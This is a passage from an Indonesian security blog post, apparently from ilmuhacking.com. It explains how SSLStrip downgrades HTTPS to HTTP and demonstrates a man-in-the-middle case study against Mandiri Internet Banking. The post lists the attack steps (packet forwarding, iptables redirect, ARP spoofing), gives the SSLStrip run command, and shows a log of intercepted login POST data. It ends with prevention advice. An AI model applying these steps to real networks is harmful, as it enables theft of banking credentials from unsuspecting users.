<li>Menggunakan META tag auto refresh ke URL https: SSLStrip akan mengubah url https menjadi http.</li>
<li>Menggunakan javascript untuk load halaman https: SSLStrip akan mengubah url https menjadi http.</li>
</ul>
<p style="text-align: left;">Untuk lebih jelasnya berikut adalah gambar yang menunjukkan salah satu cara kerja SSLStrip mencegah korban beralih dari http ke https.</p>
<div id="attachment_1362" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/sslstrip_flow1.png"><img class="size-medium wp-image-1362" title="sslstrip_flow1" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/sslstrip_flow1-300x178.png" alt="Opening Bank Front Page" width="300" height="178" /></a><p class="wp-caption-text">Opening Bank Front Page</p></div>
<p style="text-align: justify;">Pada gambar di atas korban mengakses web server bank dengan URL http://bank/. Request tidak secara langsung dikirim ke web server, namun melalui SSLStrip dulu. SSLStrip meneruskan request tersebut ke web server. Kemudian web server menjawab dengan memberikan html berisi link ke URL https://bank/login/ kepada SSLStrip. Sebelum response html diterima oleh browser, SSLStrip mengubah response tersebut dengan mengubah URL https menjadi http biasa sehingga HTML yang diterima di browser korban berisi link ke URL http://bank/login/ bukan https://bank/login/.</p>
<div id="attachment_1363" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/sslstrip_flow2.png"><img class="size-medium wp-image-1363" title="sslstrip_flow2" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/sslstrip_flow2-300x178.png" alt="Opening login page" width="300" height="178" /></a><p class="wp-caption-text">Opening login page</p></div>
<p style="text-align: justify;">Korban mengklik link pada halaman yang muncul browsernya, tentu saja link ini bukan ke https://bank/login/ melainkan ke http://bank/login/. Dengan cara ini browser tetap dalam protokol http bukan dalam protokol https seperti seharusnya, dengan kata lain SSLStrip berhasil mencegah browser beralih ke protokol https. Request ke http://bank/login/ tersebut dikirimkan ke SSLStrip. Kemudian SSLStrip tidak meneruskan request tersebut ke http://bank/login/, melainkan membuat request baru ke https://bank/login/. Kemudian web server mengirimkan response dari response tersebut ke SSLStrip. Seperti biasanya SSLStrip akan mengubah response dari server tersebut untuk mencegah peralihan ke https. Response yang telah diubah ini kemudian dikirimkan ke browser korban sehingga korban tetap melihat halaman yang sama persis seperti ketika dia membuka https://bank/login/. Dengan tampilan yang sama persis ini, korban mengira sedang membuka https://bank/login/, padahal sebenarnya dia sedang membuka http://bank/login/. Perhatikan bahwa koneksi antara browser dengan SSLStrip adalah dalam http biasa, sedangkan dari SSLStrip ke web server dalam https.</p>
<div id="attachment_1364" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/sslstrip_flow3.png"><img class="size-medium wp-image-1364" title="sslstrip_flow3" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/sslstrip_flow3-300x178.png" alt="submit username and password" width="300" height="178" /></a><p class="wp-caption-text">submit username and password</p></div>
<p style="text-align: justify;">Setelah muncul halaman login dan korban mengira sedang membuka https://bank/login, kemudian korban memasukkan username dan password dan mengklik tombol Login. Browser akan membuat POST request ke http://bank/login/ yang diterima oleh SSLStrip. Karena protokolnya adalah http, maka SSLStrip dengan mudah bisa membaca username dan password yang dimasukkan korban. SSLStrip kemudian akan mengirimkan username dan password korban degan POST request ke https://bank/login/.  Seperti biasa jawaban dari webserver akan dimodifikasi dulu seperlunya oleh SSLStrip sebelum dikirimkan ke browser korban.</p>
<p style="text-align: justify;">Perhatikan bahwa korban sejak awal hingga login mengakses situs dengan http, sedangkan SSLStrip di tengah-tengah membuat koneksi https ke web server yang sebenarnya. Jadi walaupun browser mengakses dengan http, namun response yang diterima browser berasal dari koneksi https yang dibuat oleh SSLStrip.</p>
<p style="text-align: justify;"><strong>Case Study: Mandiri Internet Banking</strong></p>
<p style="text-align: justify;">Mari kita coba trik di atas dengan contoh kasus pada situs internet banking Mandiri. Karena ini hanya contoh, saya tidak menggunakan teknik ARP Spoofing untuk melakukan MITM attack yang sesungguhnya. Saya sengaja mengubah setting browser saya agar menggunakan proxy, yaitu SSLStrip. Dalam website <a href="http://www.thoughtcrime.org/software/sslstrip/index.html" target="_blank">SSLStrip</a>, disebutkan seharusnya cara untuk melakukan MITM attack dengan SSLStrip adalah:</p>
<ul>
<li>Setting komputer agar bisa melakukan forwarding paket</li>
<li>Setting iptables untuk mengarahkan traffic HTTP ke SSLStrip</li>
<li>Jalankan SSLStrip</li>
<li>Gunakan ARPSpoof untuk meyakinkan jaringan bahwa traffic harus dikirimkan melalui komputer yang menjalankan SSLStrip.</li>
</ul>
<p style="text-align: justify;">Dalam contoh ini saya tidak melakukan ARPSpoofing, namun saya menggunakan SSLStrip sebagai proxy yang saya setting dalam browser saya. Sehingga setiap traffic http yang dilakukan browser saya akan dikirimkan melalui SSLStrip sebagai man in the middle.</p>
<p style="text-align: justify;">Saya menjalankan SSLStrip di linux dengan IP address 192.168.0.10. Cara menjalankannya mudah sekali, cukup jalankan perintah: python sslstrip.py -l portnumber . Kemudian pada browser saya setting untuk menggunakan proxy 192.168.0.10 dan port sesuai dengan port sslstrip. Untuk lebih jelasnya, perhatikan gambar di bawah ini:</p>
<div id="attachment_1368" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri4.png"><img class="size-medium wp-image-1368" title="mandiri4" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri4-300x225.png" alt="setting up SSLStrip as proxy in IE" width="300" height="225" /></a><p class="wp-caption-text">setting up SSLStrip as proxy in IE</p></div>
<p style="text-align: justify;">Setelah semuanya siap, mari kita coba melakukan serangan mitm. Pada skenario ini, korban akan login ke Mandiri IB tidak dengan mengetikkan https://ib.bankmandiri.co.id, karena korban hanya hafal bankmandiri.co.id saja maka korban langsung mengetikkan bankmandiri.co.id (tanpa diawali www atau http://). Secara default browser akan menganggap korban menghendaki koneksi dengan protokol http, bukan https. Request http tersebut dikirimkan melalui SSLStrip sebagai man in the middle, dan berikut adalah response yang diterima di browser korban. Sebagai pembanding saya juga berikan gambar screenshot halaman depan bank mandiri yang asli (tidak dimodifikasi sslstrip).</p>
<div id="attachment_1369" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri3.png"><img class="size-medium wp-image-1369" title="mandiri3" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri3-300x249.png" alt="bank mandiri front page modified by sslstrip" width="300" height="249" /></a><p class="wp-caption-text">bank mandiri front page modified by sslstrip</p></div>
<div id="attachment_1370" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri7.png"><img class="size-medium wp-image-1370" title="mandiri7" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri7-300x254.png" alt="real mandiri front page (not modified)" width="300" height="254" /></a><p class="wp-caption-text">real mandiri front page (not modified)</p></div>
<p style="text-align: justify;">Login ke Mandiri IB dilakukan dengan mengklik tombol Login di halaman depan bank mandiri. Login tersebut sebenarnya adalah link ke URL https, namun SSLStrip mengubahnya menjadi http agar korban tidak beralih ke modus https. Berikutnya korban akan mengklik tombol Login, sehingga browser akan mengakses URL http://ib.bankmandiri.co.id (bukan https://). Berikut adalah gambar screenshot halaman login Mandiri IB yang telah dimodifikasi sslstrip dan yang masih asli. Kedua gambar di bawah ini sangat mirip, perbedaannya hanya pada penggunaan awalan http:// dan https://. Saya yakin kebanyakan orang tidak akan menyadari bahwa dia sedang menggunakan http biasa, bukan https.</p>
<div id="attachment_1371" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri2.png"><img class="size-medium wp-image-1371" title="mandiri2" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri2-300x209.png" alt="Mandiri IB login page modified by sslstrip" width="300" height="209" /></a><p class="wp-caption-text">Mandiri IB login page modified by sslstrip</p></div>
<div id="attachment_1372" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri6.png"><img class="size-medium wp-image-1372" title="mandiri6" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri6-300x132.png" alt="real login page, https version and not modified" width="300" height="132" /></a><p class="wp-caption-text">real login page, https version and not modified</p></div>
<p style="text-align: justify;">Berikutnya setelah bertemu dengan halaman login, korban akan dengan senang hati memasukkan username dan password. Request tersebut dikirimkan dalam request POST http (bukan https) ke sslstrip. Karena POST dikirim melalui http, maka sslstrip bisa dengan mudah menyimpan username dan password korban.Berikut ini adalah log dari sslstrip yang menangkap username dan password Mandiri IB.</p>
<p style="text-align: justify;">

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">2009-05-06 12:00:43,339 Sending header: content-type: application/x-www-form-urlencoded
2009-05-06 12:00:43,339 Sending header: proxy-connection: Keep-Alive
2009-05-06 12:00:43,339 POST Data (ib.bankmandiri.co.id): action=result&amp;userID=sensordong&amp;password=rahasiabangetsensor&amp;image.x=79&amp;image.y=20</pre></td></tr></table></div>

</p>
<p style="text-align: justify;">Setelah itu sslstrip akan mengirimkan username dan password korban dalam POST request ke URL https (ini adalah url submit yang asli). Response yang diberikan oleh webserver Mandiri IB akan dimodifikasi seperlunya dan dikembalikan ke browser korban. Bila login berhasil, maka korban akan melihat tampilan seperti gambar dibawah ini, sebagai pembanding saya juga sertakan gambar bila menggunakan protokol https.</p>
<div id="attachment_1373" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri1.png"><img class="size-medium wp-image-1373" title="mandiri1" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri1-300x177.png" alt="login success page in http mode, modified by sslstrip" width="300" height="177" /></a><p class="wp-caption-text">login success page in http mode, modified by sslstrip</p></div>
<div id="attachment_1374" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri5.png"><img class="size-medium wp-image-1374" title="mandiri5" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mandiri5-300x143.png" alt="real login success page, https mode, not modified" width="300" height="143" /></a><p class="wp-caption-text">real login success page, https mode, not modified</p></div>
<p style="text-align: justify;">Seperti pada halaman login, halaman setelah login berhasil juga sama persis walaupun menggunakan protokol http. Korban tidak akan menyadari bahwa dia sedang menggunakan http, bukannya https karena tampilannya memang tidak ada bedanya.</p>
<p align="justify"><b>Tips Pencegahan</b></p>
<p align="justify">
Serangan mitm dengan sslstrip ini dilakukan dengan memanfaatkan kemalasan pengguna untuk langsung menggunakan https. Pengguna yang malas memilih untuk menggunakan http biasa dan berharap di-redirect ke url https otomatis atau menemukan link ke url https. Padahal pada saat pengguna menggunakan http biasa itulah pengguna berpotensi terkena serangan mitm. Bila pengguna langsung menggunakan https, maka pengguna akan aman dan terbebas dari serangan mitm. Jadi mulai sekarang biasakanlah mengetikkan https:// di URL anda bila ingin mengakses situs yang sensitif.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uthcQ7gHOwM:Xl2h8r9onag:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uthcQ7gHOwM:Xl2h8r9onag:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uthcQ7gHOwM:Xl2h8r9onag:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uthcQ7gHOwM:Xl2h8r9onag:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uthcQ7gHOwM:Xl2h8r9onag:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uthcQ7gHOwM:Xl2h8r9onag:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uthcQ7gHOwM:Xl2h8r9onag:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uthcQ7gHOwM:Xl2h8r9onag:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/mitm-attack-mandiri-internet-banking-using-sslstrip/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
